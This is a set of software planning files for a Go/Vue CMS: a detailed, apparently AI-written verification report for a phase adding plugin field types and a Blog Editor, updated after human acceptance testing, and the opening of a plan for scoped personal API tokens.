- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-02-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-03-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-05-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-06-SUMMARY.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-PLAN.md
- .planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-07-SUMMARY.md
- admin/src/app/fieldTypes.ts
- admin/src/components/form/fields/MLPluginField.vue
- admin/src/components/form/fields/PluginField.vue
- admin/src/components/form/registry.ts
- admin/src/views/FormView.vue
- docs/backend/field-types.md
- modules/cabana/crud.go
- modules/cabana/field_type.go
- modules/cabana/field_type_upload.go
- modules/cabana/http.go
- modules/cabana/openapi_conformance_test.go
- modules/cabana/relation_field.go
- modules/cabana/tx_context.go
- modules/pact/capabilities.go
- scripts/check-phase16.2.sh
covered_digest: "v2:sha256:1172372f0148895ed07ee76d9d0d9996ba7497c35d22ad3443e564c7a817e5d4"
behavior_unverified: 0
overrides_applied: 0
re_verification: "2026-10-10, after gap closure plan 16.2-07 (G-16.2-1, G-16.2-2) and human UAT on the v0.1.20 UAT deploy; manual re-verification because msd-core 1.14.0 loops stale/human_needed after gap closure"
human_verification_resolved:
- test: "On a host with Docker, run `bash scripts/check-phase16.2.sh postgres` from summercms.go"
result: pass
evidence: "Full gate at ee62410 (gate2.log, 2026-10-10 18:44): phase16.2 postgres passed, 293 cabana and 78 sm-journal-plugin top-level tests; 'Phase 16.2 gate passed', exit 0. No non-planning change since. UAT Test 1"
- test: "D-19 on UAT: change one word of a category's content in the Blog Editor and save"
result: pass
evidence: "16.2-07 Task 6 on v0.1.20: category 2 saved with no removal notice, edit visible on the first view of /cordyceps; category-purged and category-fresh pass. UAT Test 2"
- test: "After the next deploy, save post 1 and post 64 untouched again and re-run the read-only md5 SELECT"
result: pass
evidence: "16.2-07 Task 6 on v0.1.20 (includes CR-01/WR-04): posts-unchanged and translations-unchanged pass, updated_at moved past the 17:57:57Z restart. UAT Test 3"
- test: "Blog Editor preview pane in a real browser"
result: pass
evidence: "UAT Test 4"
- test: "Judgment-tier prohibition: sandboxed preview iframe accepted as an exception"
result: pass
evidence: "Human accepted. UAT Test 5"
---
# Phase 16.2: Plugin-provided field types and the Blog Editor formwidget Verification Report
**Phase Goal:** Plugins can register their own admin form field types (todo: cabana-richeditor-field-type), and the Journal plugin ships a first-class Blog Editor formwidget for post content (beyond the current markdown field or a plain rich editor) that edits imported HTML posts losslessly.
**Verified:** 2026-10-10T17:05:00Z
**Status:** passed
**Re-verification:** Yes, 2026-10-10 after gap closure 16.2-07 and UAT (see Re-verification below)
ROADMAP lists no success criteria and REQUIREMENTS.md has none for this phase, so the must-haves are the six plans' frontmatter truths, keyed to CONTEXT decisions D-01 to D-19. They are merged into 14 truths below.
## Goal Achievement
### Observable Truths
| # | Truth | Status | Evidence |
|---|-------|--------|----------|
| 1 | D-11: a plugin registers a value-bearing field type under a short alias; duplicate aliases across plugins and clashes with core types fail boot | ✓ VERIFIED | `pact.HasFormFieldTypes` (capabilities.go:491). `compileFieldTypes` (field_type.go:151) checks the alias pattern and core-type clash, and names both owners on a cross-plugin clash. It is called from `Activate` (http.go:99) and passed to `compileRegistryWithTypes`. `TestFieldTypeRegistry` and `TestFieldTypeCompile` pass in the gate |
| 2 | D-12.1: plugin fields accept the general keys plus the type's Options; other keys and CheckOptions errors fail boot | ✓ VERIFIED | `pluginFieldKeys` and `fieldKeyAllowed`, plus `compilePluginField` running CheckOptions. `TestFieldTypeOptions` passes |
| 3 | D-12.2 and D-10 (framework): Decode runs inside the save transaction per locale; FormFieldError becomes 422 with no write; other errors become an opaque 500; notices become meta.notices only when present | ✓ VERIFIED | crud.go:609-636: lift, then loadRecord, then `decodePluginFields`, then Fill, all inside `s.transaction`. crud.go:733 calls `localizeNotices`, and `RecordMeta.Notices` is `json:"notices,omitempty"`. WR-06 adds a 422 for a non-string translatable value. `TestFieldTypeDecode` and `TestFieldTypeNotices` pass |
| 4 | D-12.3 and D-12.4: Show and the save response serve plugin fields through Load (per locale); list columns use ListValue | ✓ VERIFIED | `hydratePluginFields` is called in Show (crud.go:447) and in save (crud.go:728). `projectRowCtx` calls `ListValue` (http.go:1114). `TestFieldTypeLoad` and `TestFieldTypeListValue` pass |
| 5 | D-03 (server half): on update, a value equal to the served value is neither decoded nor written | ✓ VERIFIED | `decodeOne` compares with `servedFieldValue` (Load over the loaded record) through `sameJSON` and skips. An untouched default-locale value is deleted from Projected. The behavioural test `TestFieldTypeUntouched` passes |
| 6 | D-14 and D-06: translatable plugin types use cabana's ML lift, translation writer and hydrate; Form hooks read writes through `FieldWritesFromContext` | ✓ VERIFIED | Translations are decoded in place on the `mlValue` items that `applyMLTranslations` writes. `withFieldWrites` (crud.go:636) feeds `FieldWritesFromContext`. `TestFieldTypeWrites` passes |
| 7 | D-13 and D-15: the SPA loads field-type assets globally after login; PluginField/MLPluginField bind `value` and `summer-change`; the schema carries plugin fields generically; OpenAPI, TS types, dist and docs are regenerated | ✓ VERIFIED | `loadFieldTypes` is called in main.ts:26 and LoginView.vue:33. `registry.ts` routes any field with `element` to PluginField or MLPluginField. PluginField only re-sets `value` when it differs (echo guard). admin.json and schema.d.ts carry `element`, `translatable` and `typeOptions`. Gate docs stage: check-admin-openapi, check-admin-dist and TestDocsTree pass. Vitest 1218/1218 |
| 8 | D-18: cabana-owned upload route (guard, X-Requested-With, permissions, declared op, record scope, body cap) answers 201 {data:{url}}; Journal Upload accepts only sniffed jpg/jpeg/png/gif/webp up to 10240 KiB | ✓ VERIFIED | Route at http.go:360, wrapped in `requireAjax`. `fieldUpload` calls `protect` and `operationDeclared` (WR-01), reads the whole body before Upload (WR-02) and scopes the record through `loadRecord`. Journal `uploadBlogImage` sniffs the bytes. `StoreMedia` enforces the extension allowlist, so a PNG named `.svg` is refused there, and caps the size. `TestFieldUpload`, `TestBlogEditorUpload` and `TestStoreMedia` pass. UAT edit-ok shows an image under journal/posts |
| 9 | D-01, D-04, D-16: Blog Editor is a TipTap WYSIWYG custom element `golem15-journal-blogeditor` with a source tab, a toolbar (headings, marks, lists, links, blockquote, tables, images, embeds, raw HTML), unknown blocks shown as raw cards, and a committed and embedded bundle with a dist drift gate | ✓ VERIFIED | assets/src/blogeditor/*.ts and toolbar.ts provide H2-H4, bold, italic, lists, link, blockquote, table ops, image, embed and rawHtml. extensions.ts lists the raw block tags (footer, section, aside, details…). admin.go:22 embeds the dist. `check-dist.sh` (diff -r) passes in the gate. Editor vitest 232/232 |
| 10 | D-03 (editor and Journal halves) and todo journal-imported-html-admin-resave: an untouched value round-trips byte-identically; Load serves HTML content verbatim and markdown as content_html; an untouched save leaves content and content_html byte-identical | ✓ VERIFIED | The element's `value` getter returns the stored string in clean mode and uses `serializeDocument` (top-level block reuse) only after an edit. It never calls `getHTML`. `loadBlogHTML` implements D-07 plus the CR-01 and WR-04 refinements. element.test.ts, `TestBlogEditorLoad` and `TestFieldTypeUntouched` pass. UAT: post 1 (HTML) and post 64 (markdown) kept the same md5 after untouched saves, and updated_at moved (16.2-05 SUMMARY, follow-up section). The Postgres `TestPostsAdminResaveKeepsHTML` did not run (human item 1) |
| 11 | D-02, D-07, D-08, D-09: post content is `mlblogeditor` (excerpt unchanged); an admin save stores the same sanitized HTML in content and content_html per locale without goldmark; the public write API keeps markdown and FormatHTML | ✓ VERIFIED | models/post/fields.yaml: `type: mlblogeditor`, `htmlColumn: content_html`. `preparePostWrite` copies the default-locale write into `ContentHTML`. `writeContentHTMLTranslations` writes non-default locales through `WriteTranslated`. The only remaining FormatHTML callers are the API helpers, the import console and Load's markdown fallback. No migration or column was added. `TestPostsEditorHooks` passes. UAT edit-ok: content = content_html |
| 12 | D-10 (amended) and D-05: Decode stores `SanitizeHTMLReport` output and reports removals as notices, never refusing on markup; the policy gains exactly four editor-output rules; every corpus entry passes byte for byte | ✓ VERIFIED | `decodeBlogHTML` and `removalNotices` are in blog_editor.go. Commit 2384a61 adds only `figure data-embed ^youtube$`, `figure data-id ^[A-Za-z0-9_-]{11}$`, `img alt` and `ol start ^[0-9]+$`. `TestEditorOutputPassesPolicy`, `TestSanitizeHTMLReport`, `TestBlogEditorDecode` and `TestBlogEditorNotices` pass. On UAT a style element and an onclick attribute were stripped and the notice was confirmed by the human |
| 13 | D-17 and D-05 (layer): `expandEmbeds(sanitizeJournalHtml(html))` at the PostBody and CategoryHeader sinks, with payload transforms only sanitizing; htmlGate mirrors the four rules; corpus copies identical; v0.2.0 tagged and pinned | ✓ VERIFIED | PostBody.vue:13 and CategoryHeader.vue:11 expand last. postView.ts and CategoryPage.vue only sanitize. `expandEmbeds` builds the iframe only from an allowlisted provider, a validated id and a fixed host. `cmp` of the two corpus files is identical. Tag v0.2.0 exists on origin (759e684). The app's package.json pins `#v0.2.0`. Layer 144/144. UAT site-ok found 1 youtube-nocookie iframe |
| 14 | D-19 (amended): category content uses blogeditor and is stripped and reported; the 422 CheckHTML gate is retired | ⚠️ PRESENT_BEHAVIOR_UNVERIFIED | models/category/fields.yaml has `type: blogeditor`. `prepareCategoryWrite` only nulls blank content, and no CheckHTML caller remains. The end-to-end category save is covered only by the Docker-only `TestCategoriesAdminContent` and `TestCategoriesAdminBlogEditor` (not run), and the UAT category step was never done |
**Score:** 13/14 truths verified (1 present, behavior-unverified)
Release truths from plan 05 are verified separately. Tag v0.1.18 is an annotated tag object 04dc5bd on origin, pointing at commit f1d8a75. The UAT binary sha256 matched the local build, and the on-server smoke passed on 98 URLs. These rest on SUMMARY records; the tag is confirmed directly with `git ls-remote`.
### Required Artifacts
| Artifact | Expected | Status | Details |
|----------|----------|--------|---------|
| `modules/pact/capabilities.go` | FormFieldType family and HasFormFieldTypes | ✓ VERIFIED | All types are present, with Decode, Load, ListValue, Upload and CheckOptions |
| `modules/cabana/field_type.go` | registry, compile and the decode/skip/load/list runner | ✓ VERIFIED | 877 lines, substantive, wired from http.go and crud.go |
| `modules/cabana/field_type_upload.go` | upload route | ✓ VERIFIED | Mounted at http.go:360 |
| `modules/cabana/tx_context.go` | FieldWritesFromContext | ✓ VERIFIED | Consumed by Journal posts.go |
| `modules/cabana/relation_field.go` | `notices,omitempty` | ✓ VERIFIED | relation_field.go:99 |
| `admin/src/components/form/fields/PluginField.vue` | element host | ✓ VERIFIED | Handles summer-change and summer-upload; passes no token or function to the element |
| `admin/src/app/fieldTypes.ts` | global loader | ✓ VERIFIED | Wired in main.ts and LoginView.vue |
| `docs/backend/field-types.md` | guide | ✓ VERIFIED | Names HasFormFieldTypes; no consuming application is named |
| `../sm-journal-plugin/classes/blog_editor.go` | BlogEditorTypes | ✓ VERIFIED | Registered through field_types.go |
| `../sm-journal-plugin/classes/format_html.go` | SanitizeHTMLReport and the four rules | ✓ VERIFIED | |
| `../sm-journal-plugin/classes/media_store.go` | StoreMedia | ✓ VERIFIED | Shared with controllers/api/media.go:39 |
| `../sm-journal-plugin/assets/dist/blogeditor.js` | committed bundle | ✓ VERIFIED | Embedded at admin.go:22; check-dist passes |
| `../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` | corpus | ✓ VERIFIED | Byte-identical to the layer copy |
| `../vue-journal-layer/app/utils/embeds.ts` | expandEmbeds | ✓ VERIFIED | |
| `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json` | `#v0.2.0` pin | ✓ VERIFIED | |
| `modules/cabana/field_type_postgres_test.go` | Postgres test | ✓ EXISTS (not run) | Compiles under go vet; needs Docker |
| `scripts/check-phase16.2.sh` | phase gate | ✓ VERIFIED | Re-run in this verification, exit 0 |
### Key Link Verification
| From | To | Via | Status |
|------|----|-----|--------|
| http.go Activate | compileRegistryWithTypes | `compileFieldTypes(plugins)` passed as a parameter | ✓ WIRED |
| crud.go save | Decode and Load | `decodePluginFields` between loadRecord and Fill, in the transaction | ✓ WIRED |
| crud.go save | meta.notices | `localizeNotices` after commit | ✓ WIRED |
| FormView.vue save | FormField notices and toast | `noticeLines(result.data.meta.notices)` | ✓ WIRED |
| main.ts / LoginView.vue | GET /field-types | `loadFieldTypes` | ✓ WIRED |
| PluginField.vue | upload route | `summer-upload` handled by `api.POST` | ✓ WIRED |
| blog_editor.go decodeBlogHTML | SanitizeHTMLReport | direct call | ✓ WIRED |
| posts.go preparePostWrite | FieldWritesFromContext | default-locale write sets ContentHTML | ✓ WIRED |
| posts.go FormAfterUpdate | TranslationWriter.WriteTranslated | content_html per written locale | ✓ WIRED |
| api/media.go UploadMedia | StoreMedia | media.go:39 | ✓ WIRED |
| PostBody.vue / CategoryHeader.vue | expandEmbeds | `expandEmbeds(sanitizeJournalHtml(...))` | ✓ WIRED |
| admin.go adminFS | assets/dist/blogeditor.js | `//go:embed` | ✓ WIRED |
### Data-Flow Trace (Level 4)
| Artifact | Data | Source | Real data | Status |
|----------|------|--------|-----------|--------|
| PluginField element `value` | form value | Show response from `hydratePluginFields`, which runs Load over the record loaded in the transaction | yes | ✓ FLOWING |
| content_html (admin path) | sanitized HTML | Decode output, then FieldWrite, then the hooks | yes (UAT edit-ok shows content = content_html) | ✓ FLOWING |
| Site post body | content_html | Journal API, then postView sanitize, then the PostBody sink expandEmbeds | yes (UAT site-ok found the iframe) | ✓ FLOWING |
### Behavioral Spot-Checks
| Behavior | Command | Result | Status |
|----------|---------|--------|--------|
| Full phase gate | `bash scripts/check-phase16.2.sh --all` (TMPDIR in the scratchpad) | self-test, go (19 framework + 29 Journal tests), admin 1218, editor 232, layer 144 plus corpus cmp, and docs all PASS; postgres NOT RUN; "Phase 16.2 gate passed", exit 0 | ✓ PASS |
| go vet | `go vet ./...` in summercms.go and sm-journal-plugin | clean | ✓ PASS |
| Release tag on origin | `git ls-remote --tags origin v0.1.18` | 04dc5bd, which points at f1d8a75 | ✓ PASS |
| Layer tag on origin | `git ls-remote --tags origin` (vue-journal-layer) | v0.2.0, which points at 759e684 | ✓ PASS |
| Postgres suites | `check-phase16.2.sh postgres` | no Docker daemon | ? SKIP (human item 1) |
### Probe Execution
Step 7c: no `scripts/*/tests/probe-*.sh` is declared or present for this phase. The phase gate above serves as the runnable check.
### Requirements Coverage
REQUIREMENTS.md lists no IDs for this phase. The CONTEXT decisions the plans cite:
| Decision | Status | Evidence |
|----------|--------|----------|
| D-01, D-04, D-16 | ✓ SATISFIED | Truth 9 |
| D-02, D-07, D-08, D-09 | ✓ SATISFIED | Truth 11 |
| D-03 | ✓ SATISFIED | Truths 5 and 10 (unit tests plus UAT; Postgres run pending) |
| D-05, D-10 | ✓ SATISFIED | Truths 3, 12 and 13 |
| D-06, D-14 | ✓ SATISFIED | Truth 6 |
| D-11, D-12, D-13, D-15 | ✓ SATISFIED | Truths 1 to 4 and 7 |
| D-17 | ✓ SATISFIED | Truth 13 |
| D-18 | ✓ SATISFIED | Truth 8 |
| D-19 | ? NEEDS HUMAN | Truth 14 |
### Prohibitions (judgment tier, non-authoritative LLM verdicts)
| Prohibition | Verdict |
|-------------|---------|
| No package-level mutable field type registry in cabana | Holds. The only package-level vars are regexes and a static key set. The registry is built per Activate |
| The element never receives a token, cookie, function or Vue instance | Holds. PluginField sets only `value` and string attributes; uploads go through `api.POST` |
| Core field types, the `type: widget` contract and CompileForm unchanged | Holds as far as the gate shows. TestPhase10CSRF, TestPhase09ContractInventory and ExampleCompileFormWithTypes pass, and settings and relation forms use a refusing registry |
| Framework docs name no consuming application | Holds. grep for journal, grzyb, fonoteka and blogeditor in field-types.md, forms.md and the two READMEs finds nothing |
| The editor never re-serializes an untouched document or uses getHTML() | Holds. The clean-mode getter returns the stored string |
| No eval, no `new Function`, no style injection | Holds. `injectCSS: false`, and no eval in the sources |
| The element renders no iframe and no live raw HTML in the admin | **Flagged for human review.** The preview pane folded in from quick 261010-iwu adds a lazily created iframe with an empty `sandbox`, `srcdoc` only and a CSP meta. Raw blocks in the editor itself still render as escaped text |
| htmlPolicy gains only the four editor rules; the layer mirrors the same four | Holds. Diff 2384a61 and htmlGate.ts:122-127 |
| Public write API and media route keep the PHP contract | Holds. Posts still go through FormatHTML in the API helpers, and media.go keeps its error mapping through MediaError |
| No format flag, column or migration | Holds. No migration commit in updates/ during the phase |
| Executor ran only SELECTs on UAT; no credentials handled; no tag moved | Taken from the SUMMARY; the tags are unmoved on origin |
| Tests not weakened | Taken from the SUMMARY: the 16.1 policy test files are unchanged since c60abc6 |
### Anti-Patterns Found
| File | Line | Pattern | Severity | Impact |
|------|------|---------|----------|--------|
| (none) | | No TBD, FIXME, XXX, TODO or HACK marker in the phase's source files | | |
Known open review items, skipped by decision (16.2-REVIEW-FIX.md):
- WR-07: View site uses the admin origin.
- WR-08: the gate passes with postgres NOT RUN; `PHASE162_REQUIRE_POSTGRES=1` enforces it.
- IN-01 to IN-03 and IN-05 to IN-08.
These are information only and do not block.
### Human Verification Required
#### 1. Postgres suites on a Docker host
**Test:** `bash scripts/check-phase16.2.sh postgres`
**Expected:** Every named suite passes. This covers WINDOWS 11, 12, 14 to 16, 20 and 21.
**Why human:** No Docker on this host. These suites are the only end-to-end proof of the CR-01 and WR-04 Load changes and of the category strip.
#### 2. D-19 category edit on UAT
**Test:** Change one word of a category's content in the Blog Editor and save.
**Expected:** No removal notice; the site shows the change.
**Why human:** WINDOWS 18; never performed.
#### 3. Re-confirm the untouched resave after the review-fix deploy
**Test:** After v0.1.19 is deployed, save posts 1 and 64 untouched and re-run the md5 SELECT.
**Expected:** The md5 values equal the 16.2-05 snapshot.
**Why human:** The UAT proof ran on v0.1.18, before the CR-01 and WR-04 Load changes. The code reading says the outcome is unchanged for these posts.
#### 4. Preview pane browser check
**Test:** Check the layout, the sandbox (script in a raw block), the embed card and relative images.
**Expected:** As listed in the 261010-iwu SUMMARY.
**Why human:** Real browser behaviour.
#### 5. Accept the preview iframe against the plan 02 prohibition
**Test:** Decide whether the sandboxed srcdoc preview is an accepted exception to "no iframe in the admin".
**Expected:** Accept, or ask for a change.
**Why human:** Judgment-tier prohibition.
### Gaps Summary
No must-have failed. The framework API (pact.HasFormFieldTypes, the cabana registry, the decode/skip/load/list runner, meta.notices, the upload route), the SPA host, the Journal Blog Editor (element, Go types, policy, hooks, storage) and the layer's embed expansion all exist, are substantive and are wired. The fixed tree passes the phase gate here, and vet is clean in both Go repositories. On UAT (v0.1.18) the goal was proven on real data:
- An imported HTML post and a markdown post re-saved untouched with identical md5.
- An edited post stored identical content and content_html, with an uploaded figure and a YouTube placeholder.
- Disallowed markup was stripped and reported.
- The site rendered a youtube-nocookie iframe.
Status is `human_needed`, not `passed`, for three reasons:
- The Docker-only Postgres suites have never run.
- The D-19 category path has no executed end-to-end evidence: no Postgres run and no UAT step.
- The review fixes (CR-01, WR-01 to WR-06, IN-04) are committed but not deployed or tagged, so the UAT evidence predates them. summercms.go master is 13 commits ahead of origin, and the sm-journal-plugin test and fix commits are not pushed either.
---
_Verified: 2026-10-10T17:05:00Z_
_Verifier: Claude (msd-verifier)_
## Re-verification (2026-10-10, after 16.2-07)
Gap closure plan 16.2-07 closed G-16.2-1 (conformance cases for GET /field-types and the field upload route; a Docker-free route inventory check in the gate) and G-16.2-2 (Journal admin writes purge the host Nuxt route cache). It was released as summercms v0.1.20 and vue-journal-layer v0.3.0 and deployed to UAT.
All five human verification items above are resolved by evidence, recorded in `human_verification_resolved` and in 16.2-UAT.md (status complete, 5/5 pass):
| Item | Evidence |
|------|----------|
| Postgres suites (truth 10 Postgres half, truth 14) | gate2.log at ee62410: `phase16.2 postgres passed`, `Phase 16.2 gate passed` |
| D-19 category save and site visibility (truth 14) | 16.2-07 Task 6: category-purged, category-fresh, phrase found on the server-rendered page |
| Untouched re-save on the build with CR-01/WR-04 (truth 10) | 16.2-07 Task 6: posts-unchanged, translations-unchanged |
| Preview pane in a browser | UAT Test 4 pass |
| Preview iframe exception | UAT Test 5 pass, accepted by the human |
Checks at this re-verification: `go vet ./modules/cabana/ ./modules/pact/` clean; `go test ./modules/pact/` and `TestPhase10ConformanceInventory` pass; no change outside `.planning/` since aba063f. `covered_files` now includes 16.2-07-PLAN.md, 16.2-07-SUMMARY.md and modules/cabana/openapi_conformance_test.go, and `covered_digest` was recomputed with `msd_run query verification.fingerprint`.
Truth 14 (D-19) moves from NEEDS HUMAN to VERIFIED; the score is 14/14 and the status is `passed`.
This report was re-verified by hand, as Phase 9's was, because msd-core 1.14.0 makes a report stale after any gap-closure plan and its verifier ignores passed UAT results. Re-running execute-phase would have reset 16.2-UAT.md to pending.

View File

@@ -0,0 +1 @@
No external API integration: internal pact field-type API, admin routes and a Journal editor; YouTube is only a fixed iframe host for stored placeholders, with no API calls.

View File

@@ -0,0 +1,498 @@
---
phase: 16.3-backend-admin-personal-api-tokens-with-scopes
plan: 01
type: execute
wave: 1
depends_on: []
files_modified:
- modules/pact/capabilities.go
- modules/pact/README.md
- modules/bouncer/context.go
- modules/bouncer/README.md
- modules/party/registry.go
- modules/party/registry_test.go
- modules/party/README.md
- modules/lagoon/backend_admin_migrations.go
- modules/lagoon/backend_admin_migrations_test.go
- modules/lagoon/README.md
- modules/cabana/api_tokens.go
- modules/cabana/token_scopes.go
- modules/cabana/token_guard.go
- modules/cabana/account_tokens.go
- modules/cabana/token_commands.go
- modules/cabana/contracts.go
- modules/cabana/registry.go
- modules/cabana/messages.go
- modules/cabana/http.go
- modules/cabana/auth.go
- modules/cabana/field_type.go
- modules/cabana/field_markdown.go
- modules/cabana/commands.go
- modules/cabana/admin_openapi.go
- modules/cabana/export_test.go
- modules/cabana/security_coverage_test.go
- modules/cabana/openapi_conformance_test.go
- modules/cabana/token_smoke_test.go
- modules/cabana/token_postgres_smoke_test.go
- modules/cabana/README.md
- modules/phrasebook/backend/lang/en/lang.yaml
- modules/phrasebook/backend/lang/pl/lang.yaml
- admin/openapi/admin.json
- admin/src/api/schema.d.ts
- cmd/summer/runtime.go
- cmd/summer/runtime_test.go
- docs/examples/blog/token_scopes.go
- docs/examples/blog/lang/en/lang.yaml
- docs/backend/users-and-permissions.md
- docs/services/authentication.md
- docs/console/setup-and-maintenance.md
- docs/console/introduction.md
- docs/plugins/registration.md
autonomous: true
requirements: [SC-1, SC-2, SC-3, SC-5]
estimate:
tokens: 170000
raw_tokens: 170000
tasks: 4
confidence: low
must_haves:
truths:
- "D-07 and D-12: a token is g15_ plus 40 lowercase hex characters from 20 crypto/rand bytes; only its sha256 hex (unique column) and its last four characters are stored, in backend_api_tokens, created by migration 202610110001_backend_api_tokens appended to lagoon.BackendAdminMigrations under the summercms.cabana history (backend_user_id FK ON DELETE CASCADE, revoked_by FK ON DELETE SET NULL); TestBackendAdminMetadataColumn is updated in the same commit; Apparatus rows are not migrated."
- "D-13 and SC-1: the cabana backend guard is composite: Authorization Bearer g15_… goes to the token lookup, every other request goes to the unchanged NewBackendJWTGuard path (Bearer JWT, then the admin cookie); a g15_ value is never read from a cookie or the query string and is never handed to the JWT parser; on success the request runs as the token's owner and the *cabana.BackendAPIToken row is the bouncer credential."
- "D-08, D-09 and D-10: a malformed, unknown, expired or revoked token, or one whose owner is deactivated or soft-deleted, answers the existing 401 unauthenticated envelope; the owner is loaded fresh per request through lazyBackendUsers (role, code-declared and user grants), and neither a password reset nor tokens_valid_after invalidates a token."
- "D-02, D-03 and D-04: only stored scopes whose method list includes the request method count; when a known scope exists but none allows the method the guard answers 403 forbidden with details.reason token_scope before any handler runs; a token whose stored scopes are all unknown answers 401; `*` behaves as the owner on every method and `admin:read` as the owner on GET and HEAD."
- "D-14, D-03 and D-05: cabana.Allows evaluates the scope before the superuser and empty-list shortcuts; a scoped (non-full) principal passes only when one method-allowed scope matches every required code and the owner holds a required code inside that scope; a superuser with a scoped token is limited to the scope; an empty requirement list is refused unless the scope is full; JWT principals keep today's behaviour exactly."
- "D-01: plugins register scopes through pact.HasTokenScopes returning pact.TokenScope{Name, Label, Description, Permissions, Methods}; boot fails loudly on a duplicate name (naming both plugins), a reserved name (`*`, admin, admin:…), an invalid name, empty permissions or methods, an unknown or lower-case method, a method list without GET, an unknown permission pattern, an empty label or description, or a label or description phrase key that does not resolve."
- "D-05 and D-06: GET /auth/me answers any valid token; PUT /account, POST and DELETE /account/avatar, the four /account/tokens routes, POST /auth/refresh and POST /auth/logout refuse every token, `*` included, with 403 forbidden details.reason interactive_only; GET /field-types and POST /markdown/preview are gated like Allows with an empty list (only `*`, and `admin:read` on GET, pass) with details.reason token_scope."
- "D-15 (framework half): cabana.ResolveBackend authenticates a request outside the backend middleware from the Authorization Bearer header only (admin JWT or g15_ token, never the admin cookie), applies the method filter and, for a token, requires a method-allowed scope that is full or matches every cover code; it returns cabana.ErrUnauthenticated or cabana.ErrTokenScope and uses the same lazyBackendUsers and compiled registry as the admin guard (code-declared role grants included); cabana.Activate publishes the resolver."
- "D-11: last_used_at is stamped at most once per minute per token (in-process gate plus a conditional UPDATE of last_used_at only); a failed stamp is logged and never fails authentication."
- "D-16, D-17 and D-18 (server half): GET /account/tokens lists the caller's own tokens newest first (revoked ones only with revoked=1), POST /account/tokens answers 201 with the plaintext exactly once and 422 validation_failed on name, expires or scopes (unknown, empty, or granting the caller nothing), normalizes a list containing `*` to [`*`], DELETE /account/tokens/{id} soft-revokes only the caller's own active token (404 otherwise), and GET /account/tokens/scopes lists `*`, admin:read and plugin scopes that overlap the caller's grants, with server-translated labels; all four carry swag annotations, appear in admin/openapi/admin.json and admin/src/api/schema.d.ts, and are in phase09Routes and conformCases."
- "D-19: admin:token:create <login|email> --name --scope (repeatable) [--expires] prints exactly the token and a newline on stdout, applies the D-17 overlap rule to the target user and refuses deactivated or deleted users; admin:token:list [<login|email>] [--revoked], admin:token:revoke <id> and admin:token:scopes work; party.Activate publishes party.Activated so the commands see plugin scopes while cabana.RuntimeCommands(app) keeps its signature; summer forwards the four commands to the app binary."
- "D-20 (framework half): the pact, bouncer, cabana, party and lagoon READMEs and docs/backend/users-and-permissions.md, docs/services/authentication.md, docs/console/setup-and-maintenance.md, docs/console/introduction.md and docs/plugins/registration.md describe the token API, scope registration, the framework scopes, interactive-only routes, ResolveBackend and the CLI with neutral names; TestDocsTree and summer docs:build --check pass."
artifacts:
- path: "modules/pact/capabilities.go"
provides: "TokenScope and HasTokenScopes"
contains: "HasTokenScopes"
- path: "modules/bouncer/context.go"
provides: "ScopeLimit and Principal.Scope"
contains: "ScopeLimit"
- path: "modules/lagoon/backend_admin_migrations.go"
provides: "backend_api_tokens migration"
contains: "202610110001_backend_api_tokens"
- path: "modules/cabana/api_tokens.go"
provides: "BackendAPIToken model, APITokenPrefix, mint, hash, issue, revoke, debounced stamp"
contains: "APITokenPrefix"
- path: "modules/cabana/token_scopes.go"
provides: "scope compile, framework scopes, scopeMatch, allowsUnderScope, overlap rule"
contains: "allowsUnderScope"
- path: "modules/cabana/token_guard.go"
provides: "composite backend guard, interactiveOnly, ResolveBackend, ErrUnauthenticated, ErrTokenScope"
contains: "func ResolveBackend"
- path: "modules/cabana/account_tokens.go"
provides: "the four account token handlers"
contains: "accountTokenCreate"
- path: "modules/cabana/token_commands.go"
provides: "admin:token:create, list, revoke, scopes"
contains: "admin:token:create"
- path: "modules/party/registry.go"
provides: "party.Activated published by Activate"
contains: "Activated"
- path: "docs/backend/users-and-permissions.md"
provides: "API tokens guide"
contains: "HasTokenScopes"
key_links:
- from: "modules/cabana/http.go Activate"
to: "modules/cabana/token_guard.go composite guard"
via: "guards.Register(\"summercms.cabana\", \"backend\", newCompositeGuard(...)) wrapping the unchanged NewBackendJWTGuard"
pattern: "newCompositeGuard"
- from: "modules/cabana/token_guard.go"
to: "bouncer.Principal.Scope"
via: "method-filtered scope limit set on the principal FindByID returned"
pattern: "ScopeLimit"
- from: "modules/cabana/contracts.go Allows"
to: "modules/cabana/token_scopes.go allowsUnderScope"
via: "scope branch evaluated before the IsSuperuser and empty-list shortcuts"
pattern: "allowsUnderScope"
- from: "modules/cabana/http.go Activate"
to: "backpack.App service registry"
via: "app.Publish of the backendResolver read by ResolveBackend per request"
pattern: "backendResolver"
- from: "modules/cabana/token_commands.go"
to: "modules/party/registry.go Activated"
via: "app.Lookup[party.Activated]() at Run time, compiled by compileTokenCatalog"
pattern: "party.Activated"
- from: "modules/cabana/account_tokens.go and token_commands.go"
to: "modules/cabana/api_tokens.go issueAPIToken"
via: "one validation and insert path (name, expiry, scopes, overlap) for the API and the CLI"
pattern: "issueAPIToken"
prohibitions:
- statement: "The plaintext token is never persisted, logged, put in an error detail or returned after the create response; logs carry token_id and admin_id only, never the Authorization value or the hash."
status: unresolved
verification: judgment
- statement: "A g15_ token is never accepted from a cookie or a query string, and ResolveBackend never reads the admin cookie."
status: unresolved
verification: judgment
- statement: "A token never grants more than its owner: no scope branch skips the owner check, and a superuser token is limited by its scope."
status: unresolved
verification: judgment
- statement: "The JWT verification path (audience, blacklist, tokens_valid_after, cookie fallback) is unchanged."
status: unresolved
verification: judgment
